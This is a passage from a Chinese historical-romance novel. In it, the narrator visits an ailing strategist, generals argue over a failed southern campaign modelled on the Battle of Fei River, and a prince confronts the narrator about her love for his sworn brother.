第一次进元府,一路月台花榭,竹影疏斜,虽不富贵,尤有雅趣。可惜我没有观赏的兴致,只觉得丧气,在他眼里,就毫无秘密可言,八成连我的犹豫不定,都在他的意料之中。再走几步,眼前一座小院,院子里栽了几株杜鹃,被昨夜一阵豪雨,打得春意阑珊。老人示意元烈就在此间,我微笑谢过,提着裙子直往里去。走都走到此处了,要是再往回转,才让他笑话。
元烈的屋子里,弥漫着浓重的芸香和药气。墨童见我前来,朝我一礼,便挑帘退了出去。我环顾四周,陈设素雅俐落,房间里大多是书,案上笔墨纸砚,床头挂着一柄旧剑,颇有胡风。剑柄饰以狼首,狼毫丝丝分明,眼睛用的是波斯国极其珍贵的助木剌镶嵌。剑身擦拭一新,看样子并非久置不用的摆设,只知他手不离扇,却不知他还会用剑。
“大哥,我来探病,你好些了吗?”我不敢直视他,眼睛落在案上摊开的一幅小帧上。画是不错,但吸引我的却是一行落款,乍一看,倒有几分眼熟。
“狸奴,探我还是探字?”元烈从榻上半坐起来,伸手合上画册。我笑着撤回视线,从一旁抽了个隐囊让他靠下。他的肤色原本就白,如今病着,愈显苍凉。
榻边有残局未了,白子一路猛进,看似势不可挡,但黑子已经张了个大口袋,只等着它自投罗网。“二哥来过了?北帝南伐,他想出战,你会不会帮他?”
元烈笑意渐深:“原来是替他做说客的。”他的脸上没有什么血色,眸子也很黯淡
“你知道我是来
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探你的!”只是不知道要说什么。我搅乱棋局,将两色棋子分开装回盒子里,“脑主元神,你的病就是太过伤神,应该好好休息,不要再玩这些伤脑筋的东西了。”
“下棋只是消遣,伤不了多少脑筋。我这样躺着实在憋闷……狸奴,你来陪我下一盘吧。”他自顾捻了颗白子,落在天元。
“我母亲不在,你倒想做天下第一了?”我轻哼一声,不依不饶嗔怪一句,跟着落了颗黑子。
元烈的棋力远远在我之上,他和我对弈,就像在玩一场猫捉老鼠的游戏。可惜我名为狸奴,却偏是那只让他玩弄于股掌的老鼠。只要我进一步,他便进一步,我故意退让一步,他也跟着退让一步,总是保持两下均衡,让人一眼看不出优劣。我知道他是在算子,让人满怀希望,又在最后一刻功亏一篑,胜负之数,全然都在他的算计之中。
“不玩了!”我嘟起嘴,在棋盘上投下一颗黑子。元烈好整以暇,挑起眉毛看我。“没见过你这样消遣的,消遣的时候还下这么重的心思,难怪患此谋夫病!我又不是输不起,你有多少本事,尽管使出来,要是能吃光我的子,我也输得心服口服!”
元烈笑出了声,揶揄一句:“亏你还是南谢之女,能把棋下成这样,我要是不让着你,这还怎么玩得下去?”他复又收起笑容,缓缓道:“狸奴,这棋盘又不是战场,非要分个你死我活。你看,这棋子是圆,棋盘是方,棋圆而动,局方而静,黑白两色,此消彼长,有气则生,无气则亡,处处效法天地自然,体现阴阳之道,并非全然都是害诈争伪之术。我若吃光你的黑子,岂不是阴阳失调?……唉,看来你对我成见已深,你又怎知我和你下棋是在算子,而不是,想和你共进退呢?”
我闻言竟有一丝窃喜,低着头看棋盘,心突突跳得厉害,但嘴上还是不肯饶人:“那二哥呢?你刚才那盘棋,可没看出来是要和他共进退。你们一个头磕在地上,他来找你来商量,你不打算帮他吗?”
“要我帮他说服北帝,让他出征吗?这才是要害他!”元烈掩嘴咳了几下,病来如山倒,素日里一身凌厉之气,快要被消磨殆尽了。
我伸手去抚拍他的背,心下泛起疼惜:“你也不看好北朝南伐?”
元烈缓过劲来,点了点头,道:“战场瞬息万变,胜负还很难料,但此战胜负还在其次。狸奴,你有没有想过,北帝为何不让他出战?”我摇了摇头,元烈继续说道:“北帝既然决心立下刘鹏为太子,自然是要尽心为他保住皇位的。北帝为人,确实容易感情用事,但他并不糊涂,刘鹏庸碌,为人促狭,他是知道的。朝中有不少大臣在立嗣的问题上都倾向二弟……如果二弟出战,收复南朝这么大的事,战败自不必说,如果赢了……”
“赢了,就是功高震主!”琅邪王氏就是因此倾覆。假如刘翀出战,是胜是败,都不会有好下场。北帝不许他出战,是为了保住刘鹏的皇位,同样也是在保护他,免得他日新皇继位,闹得兄弟阋墙。
“叶先生近来的日子也不好过吧?”元烈合上眼睛,神色倦怠,“叶先生是二弟的少傅,他向着二弟,一心为他争取皇位,这事举朝皆知。加上朝中只有他一人反对南伐。先生在朝中素有威望,北帝开始疏远他,一是怕他动摇军心,再者,也是怕他帮着二弟争夺皇位。试想,北帝百年之后,刘鹏必欲除去先生而后快,可区区一个刘鹏,还能牵制得住白石先生吗?”
我想起今天早上的传国玉玺,不由得一个冷战。先生必定也料想到北帝此举的含义,北帝要保住刘鹏,就不能再容下他。可先生如果要篡位自立,似乎又没有那样的根基,到最后,一样凶多吉少。
元烈的分析鞭辟入里,我赞叹一句:“你这样的人才,隐逸民间,真是太可惜了!……照这样子看来,先生和二哥前途堪忧,你可有化解的办法?”总不能让他们真去造反吧。
“你倒是舍得我去鞠躬尽瘁?”他谐谑一句,我暗自咬牙,恼他明知故问!“狸奴,你如何看诸葛孔明?”
“千古良相。”我道。
元烈轻挑嘴角:“白石先生就犹如武侯……”我以为他要夸赞先生,却听他凉凉补了一句,“明知不可为而为之,倒不如,不为。”
28. 第二十七章 恪尽匹夫责
虽已入春,可到了夜里,天气还是有些寒凉。我摸了摸手臂,元烈拿过枕边一件青色旧衣,递到我面前。墨童出现在门外,唤了句:“主人,药煎好了。”元烈应了一声,他方才入内,又舀出一勺来,当着他的面喝了下去。
我看得纳闷,大伯和先生官至三公,都不见这样的排场。“有人要加害你?”我疑惑道。
元烈并不正面回答我,挥退了墨童,只说了句:“凡事小心一点,总是没错。”
我又恼火起来,想说他不过是个平民百姓,实在太高估自己,活得这么小心谨慎,又怎么会不得病。可话到嘴边,还是先生和刘翀的安危占了上风:“照你说来,是把二哥比成阿斗了,先生又不能有所作为,那岂不是成了砧板上的鱼肉,要任人宰割了?”
“我可没有说他是阿斗……有些人喜欢行动,总以为自己是在逆水中行舟,不进则退。一股脑儿地往前奔,殊不知,要是选错了方向,就只会越走越远,还不如当初就站在原地,谋定而后动。”他这话是意指先生错投了刘汉?先生也曾经拿姜子牙作喻,哀叹白石青兕生不逢时,年富力强时,却难逢英主。
“所以你一直不肯为二哥出仕,也不愿为北朝效力?”
元烈摇头:“父子俩都是一个性子,可成霸业,却难成帝业。范增的下场是什么?我不会去做给他们做谋士……但我答应过拓拔王妃,任何情况下,保刘翀不死。”
我瞪眼看他,试探着问出藏在心里许久的疑惑:“可你却愿意和他结拜,其实你们根本就是亲兄……”
还没来得及把话说完,就被他的手指抵住了唇:“狸奴,好奇心会害死你!你是聪明人,能猜到这层我也不意外,但这些话,还是烂在肚子里为好。我答应过会告诉你,你现在说出来,对谁都没有好处。”
他嘴上说着警告的话,手指却不停摩娑我的唇,我被他弄得面红耳赤,只得推过药碗,“你再不喝,药就凉了。”
元烈端起碗盏,轻吹了几下,仰起脖子一饮而尽。我想起腰带里还剩下一包糖丸,才停药不久,没来得及吃完。我展开油纸,悉数摊在他面前,兀自取了一颗塞进嘴里,对着他调皮笑道:“我替你试过了,这回你可以放心的吃了。”
元烈先是愣怔了一下,复又对着天花板朗笑起来:“狸奴,你可听过曹丕以枣佐棋的故事?能让我放心吃的,就只有你嘴里的这一颗啊……”
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我出来的时候,元烈看似心情大好,由墨童伺候着先睡下了。出了元府门,才发现身上还披着他的袍子,犹豫着要不要往回送……算了,还是等人来取吧……莫名奇妙被人抢走了糖丸,还弄得一嘴苦药味……只是这气味我从小习惯,还不算讨厌就是了。只听身后落下门闩,我回首望去,一轮瑶台镜,直飞青云端。天下明月三分,昔日弈秋园独占两分,如今好像全都跑到他的宅子里去了。
夏生见我出来,忙提着灯从门房里跑到街上。“先生呢,酒醒了吗?”我问。
“醒了,一起来就奔了书房,饭也不吃,不知道在找什么呢。”
我三步并作两步,径直往束高阁去。昏灯照窗欲三更,我停在书房门前,脱下袍子交给夏生,将他挡在门外,独自一人往里走。地上卷册狼藉,先生是爱书之人,想必找得急了。我隐到一个背光的角落里,轻声唤道:“先生,是找这个吗?”
他先是一惊,僵直着背脊缓缓回头,目光锁定在盘龙锦盒上。良久,像是松了口气,冷静道:“是呀,原来是狸奴收起来了。”
我暗自思忖元烈的话,明知不可为而为之,其实先生一直就知道刘汉难辅。乱世纷争,雄主难求,有人轻生归隐之心,有人恪尽匹夫之责。先生不过选择了后者,他很清楚,选择这条路,让他难以负尽平生策。更甚至,范增就是下场!他留下那方玉印,倒未必是为了造反,不过是留下他出仕前的原点罢了。姜尚在渭水河边等了七十年,先生害怕没有那样的寿数,但内心深处,又何尝不是在固执地等待着负天命者的到来。
我上前将锦盒递还给他,转身往回走。他是白石先生,知道该怎么做,又何需我来多话。
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北帝终于钦定下出征将领的名单,骠骑将军苻又臣为统帅,车骑将军石福为副将,此二人是四将中战功最为显赫的两个。北朝百万之师,不日就要南下。打仗的事情我不懂,但我牧哥哥已经带着十万荆州兵投靠李成,南朝大将军桓恒手下拢共不过十多万人,北帝又何需动用举国之力,把所有的筹码都推上赌桌?
近些日子,先生每天下了朝堂就回家,由我陪着他吃饭、读书。我还宽慰说,先生得闲,束高阁里的藏书幸甚。但几次见他手不释卷,心思显然都不在书上,大半天也不翻过一页去,还总是对着墙上的地图发呆。
刘翀许是得了元烈的指点,近来有意回避先生,也不再往草堂来。倒是苻将军意气风发,来得勤快。以前先生见客,说起朝堂上的大事小情,从来都不避讳我。苻将军是他的朋友,也知道先生尤其疼爱我这个关门弟子,来了府上几次,就和我厮熟了。
起初只觉得此人滑稽,明明长相粗鲁,又是武官,却非要打扮成书生模样。后来才知道,苻又臣文武全才,虽为胡人,也是饱读汉家诗书的。当初先生一介布衣,就是投靠在他帐下,两人一见如故,若无他的举荐,也无先生今日。后来先生的官做得比他还大,他也毫不介怀,照样上门虚心求教。如今备战之时,还不停地往草堂跑,多半也是为了听取先生的破敌之策吧。
“狸奴,你家先生呢?”苻又臣甩袖而来,我揉了一下耳朵,读了这么多书,怎么还这么大嗓门?夏生掩在他身后,朝我无奈地耸了耸肩。
我起身笑应:“狸奴没看见先生,多半不在草堂。将军近来繁忙,是等,还是……”先生不愿见客,夏生挡不住他,只有我来。
“去给我沏壶茶。”他回头指使夏生,又对我笑道:“叶先生家茶好,明前雨后,我来不为别的,只为出征之前,讨杯茶吃。他不在,狸奴,你来陪我闲话家常,也是一样的。”
我与苻又臣对面而坐,等他打开话匣。反正我是府里吃闲饭的,每天不事生产,有的是时间。他一个要备战出征的三军统帅,还耗得过我去?
只见他不急不徐,坐下来开始闲扯:“真是女大十八变啊,狸奴初来时,小得就像个豆芽。看来叶先生家不仅茶好,饭也好,如今再看,小豆芽变成牡丹花了。狸奴可见过牡丹花?”我摇头。他喝了口水,继续说话:“我也没见过!那年攻下洛阳,时值冬日,早就没有牡丹花了。不过我见过比牡丹更好的……”他故意扯高了嗓门,嚷道:“当年洛阳城里有个倾国倾城的大美人,在金谷园里摆下棋擂,我一得到消息,当即命令将士们快马加鞭,连夜行军……咳,那时候我也老大不小的了,一直在外征战,都没娶上老婆。之前打代国云中,云中也有美女,可惜我晚了一步,叫她变成王妃了……我还想着,无论如何,这回打洛阳,一定要跑在皇上前头……哎,没想还是被人捷足先登了……狸奴,你别见你们家先生现在一派正人君子的模样,你可想听听他当年的情史?他年轻的时候,风流倜傥不亚于我,干得那些个始乱终弃的混蛋事啊,可是精彩的很啊!……咳咳,我来给你讲讲第一回吧……”
苻又臣说得眉飞色舞,我斜眼睐去,只见先生脸色铁青,已经站在厅堂门口了。苻又臣见我表情有异,顺着我的视线看去,忍不住捧腹大笑起来:“哈哈,白石先生要为人师表,到底脸皮薄。我看你下回再敢躲我,我就在你小徒弟面前揭光你的老底!”<
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先生整了整袖子,踱步进来,我很识相地退让到一边。他撩起袍角坐到苻又臣对面,垮着脸道:“苻将军,你不在军营里,找老夫作甚?”
苻又臣掩嘴咳了几下,还是收不住一脸坏笑:“叶先生得罪了,符某给您赔不是!谁让你不肯见我……”他爬起身来,恭恭敬敬弯腰至地。先生还是沉着脸,默不吭声,显然是余怒未消,但没有当即下逐客令,就算是原谅他的口无遮拦了。
苻又臣再次落座,严肃道:“叶先生,你也知道我来作甚。皇上派我南伐,此事非同小可,先生向来有真知灼见,我几次上门,无非是想向您讨教。你却闭不见客,真不像先生素日里的为人!”
“该说的我都在朝堂上说了,将军还想听什么?”先生给自己倒了杯水。
“我知道先生反对南伐,但事已至此,你总要向前看……比如,先生有何破敌之策?”
“将军百万雄师,南朝只有区区十万人马,以十当一,将军百战不败,还想听老夫有何破敌之策?”先生举杯喝了口茶,语气带讽。
苻又臣也攥起了拳头,一下砸在桌案上,壶盖跟着跳了起来,颤了三颤。“那你还反对个屁!打从你躲在草堂里装傻卖乖起,我已经忍你很久了。我只道你是相,我是将,将相不和,是亡国之兆!故你时不时地耍个脾气,我也不和你一般见识。我不懂你们私下里那些争权夺位、狗屁倒灶的事!你在皇上跟前说一不二这么多年了,还嫌不过瘾?立谁当太子,是皇上家的家务事,你把自己关在家里,算赌得哪门子气?为私利,置家国天下于不顾,我和你十几年交情了,没想到你是这种人!”
苻又臣瞪起一对环眼,发起脾气来还真吓人,我往角落里退了退,免得一会儿掀桌子泼茶,累及无辜。
“将相不和吗?自古权臣在内,大将不能立功于外。没有我这个相,对你这个将岂不是更好?只怕到头来拖垮你的,不是我这个只会谋私利的相,而是你手下,那个已经跃跃欲试的将……”
我搔头想了想,先生是意指石福?
石福本是南朝的胡人,小时候在汉人地主家里做过耕奴。当时有个守城的冉姓将军无端屠杀当地羯人,石福一家死于非命,只有他一个人逃了出来。他生平最最痛恨的就是汉人,平日里欺辱北朝的汉官不算,到了战场上,但凡遇到汉人将士,一律赶尽杀绝。北帝此番用他南伐,多半也是看中了这股子狠劲。
但显然苻又臣并未领会他的意思,先生又道:“先不说巴蜀李成,东面的鲜卑慕容,已经不声不响地收服了段部、宇文部。三部归一,实力如何?燕国现在可是南朝属国,你攻打南朝,他们会怎么做?”
苻又臣闻言,冷静下来,摸着下巴上的胡茬,思量道:“燕国慕容直狼子野心,当初为了收归三部,打着远交近攻的主意,他哪是真的投靠南朝?你还怕他们会帮着南朝,施以援手不成?”
先生嘴角噙笑:“你也知道是远交近攻,北朝若败,谁最有可能趁势而起,成为北方霸主?”
苻又臣彻底垮下肩来,但很快又振作精神:“不过多个慕容小儿,我只需提防他两面夹击,以我百万之众,还怕他不成!比这难得多的仗,我也打过!……这些话,你也藏着掖着,怎么不见你在朝堂上说?”北帝早就提防先生动摇军心,车骑将军石福向来看先生不顺眼,虎牙将军慕容斐本是燕国皇叔,其情复杂……这些话一出口,只怕当场就要被拖出去祭旗了。
先生悠然啜茶:“文臣死谏,武臣死战。我不比将军胸怀家国,我只是一个贪生怕死,给自己谋私利的相而已………苻将军,你我十几年交情,老夫再送你一句话:留得青山在,不怕没柴烧。天底下没有常胜的将军,人还是活着最重要……老夫言尽于此,将军请自便吧。”
先生面无表情,起身踱出门外。苻又臣转身看我,斥道:“晦气!书读多了,就是别扭!酸腐!”我也只好无辜陪笑,不动声色地往角落里挪了一挪。
29. 第二十八章 相忘于道术
苻又臣此番出征,信心满满。后来先生又在朝堂上委婉提醒他,长江天险易守难攻,切莫要轻率。他却当庭道,吴王夫差、吴主孙皓,哪个不曾仗恃长江天险,最后一样难逃灭顶。又自夸军旅众多,便是以众将士的马鞭投於江中,也足可以断其水流,还怕他甚的天险。
我后来听闻这番话时,却只想起一首江南送别的小调:相送劳劳渚,长江不应满,是侬泪成许。
也不知江对岸如何了,填满长江的究竟会是马鞭还是眼泪?王家大树虽倒,但总还有些盘根错节的亲戚,就比如我的舅舅,新任太尉谢荻,南帝已命他帅军迎战北师。面对百万之众,司马王朝已置之死地,不同于刘汉的将相有隙,南朝上下,士族寒门,同仇敌忾,以求绝境而后生。与我舅舅联手的,正是大将军桓恒。
苻又臣从未与桓恒正面交锋,他常言,南朝无将,死了一个王琨,就再无后继之人了。那些提笼架鸟、饱食终日的高门子弟,更是遭他蔑视。殊不知,大战未到,他就先犯下了兵家重忌——轻敌。桓恒原是个卖草鞋的市井之徒,能从门阀森严的南朝摇身变成三军将领;舅舅谢荻更是能在司马映的清算之下保住家园,并一跃成为南朝士族之首。这两个人,又何尝不是手段老辣的人物?
苻又臣和石福点兵出征以后,先生继续在草堂里韬光养晦。几次见他手里捧着书,眼睛却盯着墙上的地图,还时常会发出旁若无人地大笑。有一回,我还听他面壁而叹:“既生瑜,何生亮!青兕青兕,你到底是棋高一招。世人将你我比作昔时的卧龙凤雏,得一人者可得天下,哈哈,这话却原来说的是,白石青兕,只能留下一个人,不可二人共存!”
夏生觉得他近来反常得厉害,还跑来和我商量,要不要请大夫瞧瞧。先生才不能展、志不能伸,我替他扼腕。但,这样也好,他要是能看得开,辞官归隐,也省得我总是提心吊胆地过日子。我只是一个眼界狭隘的女流之辈,已经有过一次抄家灭门的惨痛经历,天下一统固然是好,但还是留给天命所归者吧,与我来说,家里人平平安安的,才是首要。
几个月来,元烈同样闭门不出,看似是在专心养病,但每次见他,都是手不释卷。病来如山倒,病去如抽丝。我嫌他恢复得太慢,几次提醒他找大夫来看看,也好补他药方上的不足,但他似乎并不愿意轻信旁人。
有几次还在元府里碰见刘翀,我故意躲着他,不给他和我单独相处的机会,他碍于元烈在场,对我也不好有什么表示。我不是聪明人,唯有用时间抹平一切,这是我能想到的最为平和的方式。
转眼已入秋,北军虽然人数众多,却不习水战,只能隔江而陈。北军过不得江去,南军一样也过不来,两下相持,就拖了好长一段时日。兵贵在速,特别是在敌国的领土作战,百万之师的消耗委实太大,长安城里的白面又翻了何止一倍的价钱。南朝的军队乐得这样拖延下去,如先生预料,东边的燕国也开始蠢蠢欲动。
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午后小园静,桂花皎洁篱菊开,我挑帘进屋,鼻尖的花香瞬时就被满屋的药香冲散了。元烈半卧在榻上,掩卷轻叹,手指不停地按揉着睛明穴。我走过去,从他手里夺过书来,又撇开视线,避开他垂散着的油黑长发和微微敞露的胸膛,嗔道:“看看你,头慵不能冠,腰慵不能带,病还没好透,又看这些伤脑筋的书,再看下去,眼睛都要瞎了!”
元烈见我前来,抬起头舒眉浅笑,我见他脸上气色渐好,也抿起嘴角,回报一笑。他拍了拍床榻,要我过去坐。我犹豫了一下,虽然被他吻过两次,但其他的时候,他都是斯文守礼的。固然知道这样于礼不合,可仿佛被人下了蛊,两条腿不由自主的就走了过去。他的要求向来不容别人拒绝,这种气势似乎是与生俱来的。
屋子里静得尴尬,我被他流金烁石般灼热的眼神盯得窘迫,本想回瞪他,却又因他衣衫不整,败下阵来,只好恼道:“我脸上开花了吗?有什么好看的!”
元烈无所谓地耸耸肩,答得理所当然:“养养眼睛,你又不让我看书。”
“你要是真想看书,我可以替你读。”总要找些事做,找些话说才好,省得眼睛转来转去的,没处安放,“你想看那本?”
他拿起刚才被我抢走的一本,递到我面前,我见是本纵横家的书,不肯去接。故意从架子上抽下一本《庄子》,道:“你这本太深,我不懂这些诡辩之术,只怕连句子也断不开。还是念这本吧,在建康时,常常听人清谈。”
元烈含笑,半靠在隐囊上,闭起眼睛听我徐徐读来。午后的阳光和暖,偶尔几声秋蝉鸣叫,难得这样的闲情逸致,多好。
念完《至乐》篇时,我以为他睡着了,抬起头却见他正看着我,还强忍着一脸笑:“生为附赘悬疣,死为决疣溃痈……狸奴,我病得下不了床,你在我床头念这些,是想叫我安心去吗?”
“你知道不是!”我轻恼他,“你就是活得太累,与其誉尧而非桀,不如两忘而化其道!白石先生近来都不怎么理朝事了,你又是不打算出仕的,干吗逼得自己这么紧?”
“劳我以生,息我以死。人不死不得安宁,你以为只要我看得开,麻烦就不会找上门了?”
“你又不是二哥,他有卸不掉的皇族身份,你只要肯看得开,还有什么麻烦?”
元烈伸手撩起我鬓边的发丝,手指擦过我的耳廓:“相濡以沫,不如相忘于江湖……狸奴,你也是这样想的吗?我且问你一次,假如我当真是个大麻烦,我若活着,你愿意陪我走多远?我若死了,你又真的可以鼓盆而歌,相忘于道术?”
他这是在询问我的心意,索要我的承诺?我无所准备,心跟着狂跳起来,直觉要避开他的灼灼双目,他却将手停在我的后脑勺上,硬是强迫我与他对视。他的眼瞳琉璃般剔透,直照出我的心来。我咽了咽口水,鼓起勇气道:“你要想走多远,我就愿意陪你走多远。但我总觉得你的步子太快,如果你放开我的手,我只怕是跟不上你的,你又愿不愿意来迁就我的步子呢?至于……我自然不会豁达到鼓盆而歌,可是,曾经有那么多至亲的人都走了,我也一样挺过来了……你说过,不要轻言‘死’字,我也不愿半途被人抛下,你要是不甘心,就不要死。”
元烈半坐起身,目光渐渐柔软,化成了江南密密匝匝的春雨,在不知不觉中,就打湿了人心……他的鼻尖快要触碰到我了,除了药香,还有一种男子身上的独特气息……我的呼吸急促起来,他却嘎然而止。只觉得他的左手一抖,像是抽走了我发髻上的玉簪,过腰的长发流瀑般垂散下来。我低呼一声,于此同时,只听有人挑帘进来,大声唤道:“大哥,我……”元烈挑起嘴角,眸子里射出邪魅的精光,如同惊蛰时分划破天际的闪电……
我就知道自己又中计了!他是算准了刘翀此时要来。
他的鼻尖擦过我的半边脸庞,在我耳边用微不可闻的声音说道:“狸奴,我愿意牵着你的手走,但你如果走得太慢,我就只能拉你一把。”
他的长发未束,衣衫不整,胸前精实的线条,毕露于外。我坐在床缘,面红耳赤,头发也被他扯撒了,任谁看了,都能联想到先前必有一番活色生香的场面。
元烈从我的颈窝里退出来,轻拢了一下衣襟,坦然笑道:“是二弟啊,坐啊。”
我低着头,看见刘翀的靴子慢步过来,头顶上烧得厉害,多半是他着了火的眼神。“敏敏,大哥的身体不好,你又来闹他?还不快把头发绾起来,难看死了!”他的声音有些哑,寒得吓人,但还是努力地保持着一个皇子的体面。
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元烈靠回隐囊上,大方摊开手掌,把一枝平安竹送到我面前。我拿回簪子,只有一只手,没有人帮忙,根本绾不起头发。我小声道:“你们有正事要谈,我先回去了。”
我起身往外去,又被刘翀冷冷喝住:“等等,你打算就这样走到街上?……我们说话,也没什么好避讳你的,你先坐着,回头我送你回去。”
元烈始终噙着一脸慵懒笑意,待刘翀落座,才缓缓开口道:“二弟,找我有什么事情?”
刘翀静默片刻,才稳声道:“前线战报,苻又臣大败,百万之师被南朝区区十万人马打得溃不成军……”
我坐在角落里,闻言,震惊抬首。“哦,怎么会?”元烈挑眉,语气之平静仿佛对此结果早有所料,只是刘翀还在气头上,听不出来。
“两军隔江而持,原本这情形对我军大大不利,没想谢荻先遣史到江对岸,要求速战速决。北军不习水战,谢荻竟然答应由南军过江,只要求北军后撤三里,再一决胜负。苻又臣恐谢荻有诈,不敢轻易答应。未料石福这厮立功心切,竟然瞒过主将,下令军队后撤。他本来只想做做样子,待南军渡江过半,就开杀戒。可北军之中早已经混入奸细,只等军队一撤,就有人喊话,前方已战败,后方快撤退。这一退便一发不可收拾,战马倒地,自相践踏,死伤过半。石福调转马头再想回去督阵,已经来不及了。桓恒的大军已渡江而来,乘胜追击,直把慌不择路的北军赶到山上,团团围困。虽是初秋,山下炎热,山上却冷得很。没有御寒的装备,粮草已尽,饥寒交迫,又是死伤过半。山中风声鹤唳,皆以为是南军突袭,活下来的,也吓得草木皆兵。石福在后撤的途中就被桓恒一箭射死了,苻又臣带着人马好不容易杀出重围。他说再无颜面回来见父皇,路上便自杀谢罪了。现在还剩下大约三十万人马,在一个副将的带领下往京师来……”刘翀一番话说得断断续续,几次停顿下来,像是在思考,又像是在隐忍。
苻又臣自戕谢罪?到底还是叫先生说准了,他是心高气傲的人,宁为玉碎,不肯瓦全,到最后就只能用死亡面对失败。我隐隐生忧,先生看似已经放下,骨子里又何尝不是这样的人?年轻的时候未尝败绩,终究不是一件好事。
元烈侧着头,听得仔细,缓声道:“百万之师,如今只剩下三十万,四将又折损两员,那可是你父皇的全部家底啊……如今之计,也只有休养生息,以图他日了……”
刘翀恼道:“这我自然知道!苻又臣一直提防着东边的燕国,可几个月来燕国一直无所动作,直到现在,慕容直开始发兵,想要趁火打劫了!”
“你又打算请战?”元烈问。
“你也知道,现在只剩三十几万人马,苻又臣和石福已死,我父皇能派的将领就只剩下我和慕容斐,我自当义不容辞……”
“国难当头,皇上这次,应该会派你出战吧……”元烈给了他一颗定心丸。
刘翀起身,漠然道:“既然如此,就不打扰大哥休息了。此番来,权当是我出征之前,和大哥道别……敏敏,回去了。”我知道他本来是想找元烈商量的,现在却变成了道别。
我看了元烈一眼,他客气笑道:“我有病在身,不便相送,二弟,就烦劳你送狸奴回去了。”
我迟疑了一下,刘翀过来抓住我的手腕,想往外拖。我回头盯着元烈看,心说,你不帮他?就让他这样贸贸然出征,可别忘了,你答应过拓拔王妃什么?
元烈一直勾着嘴角看我,直到我快要被拖出门了,他才突然开口,悠然道:“二弟,慕容斐本是燕国皇叔……你们有共同的敌人,他自当与你同仇敌忾,但若是共同的敌人不存在了……你可就要小心了!”
刘翀僵直在原地,思索了片刻,也不回头,大声说道:“多谢大哥提醒!……大哥,我与你对天盟誓,当日誓言,我是不会忘记的!”
30. 第二十九章 频烦天下计
我低着头走在前面,刘翀一言不发,像押犯人似的跟在我后头,我只觉得身后有支利箭,随时都要离弦。行走廊庑间,本想回头对他说些什么,但心绪纷乱,也不知道要说些什么才好。好不容易看见元府大门,我紧赶了几步,刚想迈步过门槛,就被他捏住手臂,一把扯了回去。“你要外面的人都看见你这副德性吗!”他低吼一声,抓起我的头发,在我身后胡乱绾了个男人的发式。他的手很重,拼命地拉扯着我的头发,又抢过我手里的玉簪,簪子插入发髻的时候,蹭破了头皮。我吃痛一声,他才略有迟疑。
待他固定好发髻,又来捏我的腕子,直拖着我出了元府大门。候在门外的侍卫见他浑身戾气,仓惶上前道:“殿下。”
“滚开!”刘翀目眦欲裂,怒喝一声,继续拉着我往前走,却不是往草堂的方向。
手腕被他捏得生疼,我快要跟不上他的步伐,大叫道:“殿下,请放手,这是要去哪里啊?”
他还是不说话,生气的时候,脸上的轮廓愈显坚毅,更有几分元烈的模样。他径直把我拖进边上一条无人的巷子,将我的手腕高举过头顶,整个人被他抵在墙上。他恨恨道:“我只问你一句,这是你愿意的,还是……他骗你……”开头几个字还是底气十足,到后来,渐渐没了声音。
骨头快要被他捏碎了,我强忍着疼,还有眼眶里快要滚落的眼泪,沉声道:“是我愿意的!”
刘翀的喉头翻滚了一下,眼睛眯得更细,低声咆哮道:“我呢?你把我至于何地?”
“二哥。”我实在是疼得厉害,眼泪簌簌地滚落下来,哑声道:“我认识大哥在先,他救过我的命……”
“因为你认识他在先,他救过你的命,你就要以身相许?”他的声音已经变了味儿,眼睛也红了,让人不忍去看。
“我……二哥,你是皇子,不是我能高攀的……侯门深似海,我不愿意卷入……”我有些语无伦次,企图找到一个可以让他接受的理由。
“因为我是皇子,你不能高攀?……你还因为什么该死的理由?!”他咬牙切齿,眼眶也湿了,手上又施了一把力,我只怕右手也快要被人捏断了。
元烈要逼我正视现实,到了这个时候,不管我再说什么,伤害都无可避免。罢,长痛不如短痛!我深吸一气,抬起头直视他,大声而坚定地说道:“因为喜欢,因为我喜欢他!在还没有认识你之前,我就已经倾心于他。我和你一开始就是一个误会,二哥,我一直就当你是我的哥哥,不管日后你还认不认我这个妹妹,我对天起了誓,就会一直把这段兄妹情分掂在心里……但也只有这样,我对你没有男女之情,也不可能有夫妻缘分……二哥,你放开我,我的手要断了……好疼……”我已泪如泉涌,他闭起眼睛,眼泪也跟着滚落下来,犹如漏刻之水,点点滴滴,永长而又无可奈何。
墙头野草花,巷口夕阳斜。两道纤长的影子在地上紧紧重叠,好像不知道发生了什么,兀自缱绻着。
刘翀渐渐松开手,我的腕子上泛出了血印,两颊泪痕尤湿,他撇开头去,选择避而不见。“对不起……”虽然已经努力克制,但声音还是不可自已地颤抖,“……敏敏,他是怎样的为人,你应该很清楚,就算他不是帝王家的人,将来也会是你一辈子的麻烦。如果……你受了委屈,就来告诉我……如果不是因为喜欢,我一定会抢你回来……你放心,我们三人是对天盟誓的,不管怎样,我都会认你这个妹妹……也会认他这个哥哥……”
“二哥,其实……你要是出战,务必要当心自己……”在那一瞬间,我真的很想告诉他,元烈是你的亲哥哥,无论如何,他不会伤害你的性命。刘翀是重情重义的人,甚至不需要血缘的束缚,只因一个承诺,就可以至死不渝。而元烈,我自然清楚他是怎样的为人,无法揣摩,亦不可牵制。如果有朝一日,他放开我的手,我一定追不上他。
刘翀默默看着我,用略微粗糙的拇指擦过我的眼底,伫立片刻之后,忽然转身离去,再不回头。我一个人孤零零地站在街角,等回过神来,才发现夏生正站在不远处等着我。
我擦干眼泪走上前去。夏生故意撇开视线,不看我狼狈的面孔,他低头咕哝着:“今儿是怎么了,先生也哭了,还把自己关在书房里……小姐,你知不知道,符将军死了……听说这次北军大败,是青兕先生向南朝太慰献上的计策……”
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因为前方战事吃紧,逃回来的三十万败军滞留原地,由那名副将点兵十万先行,其余的继续撤回京师。燕国是小国,此次出战的只有六万人马,北帝再不敢全盘押上,并且出乎元烈的意料,他依然未准刘翀出战,而是只派出了虎牙将军慕容斐。
慕容斐是现任燕国皇帝慕容直的皇叔,其母是燕文帝的爱妃,子凭母贵,深得文帝的宠爱。原本是要传位于他的,但当时慕容斐太过年幼,便先将皇位传给了他的哥哥,并且在遗诏中册封慕容斐为皇太弟,日后哥哥归天,要将皇位归还弟弟。但其兄死后,却并未遵照先皇遗愿,而是传位给了自己的儿子。皇太弟在新皇眼里,变成了一个多余而危险的存在,如同南帝司马映,慕容直上台的第一件事就是清算。慕容斐一脉全部获罪斩首,只有他和长子虎口脱险,投靠了刘汉。
慕容斐有将才,亦有帅才,归顺之后,与其子慕容逸立下大小战功无数。北帝此次派他出战,一是因为知己知彼,可以攻无不克,二是因为身怀国仇家恨,自然尽心尽力。
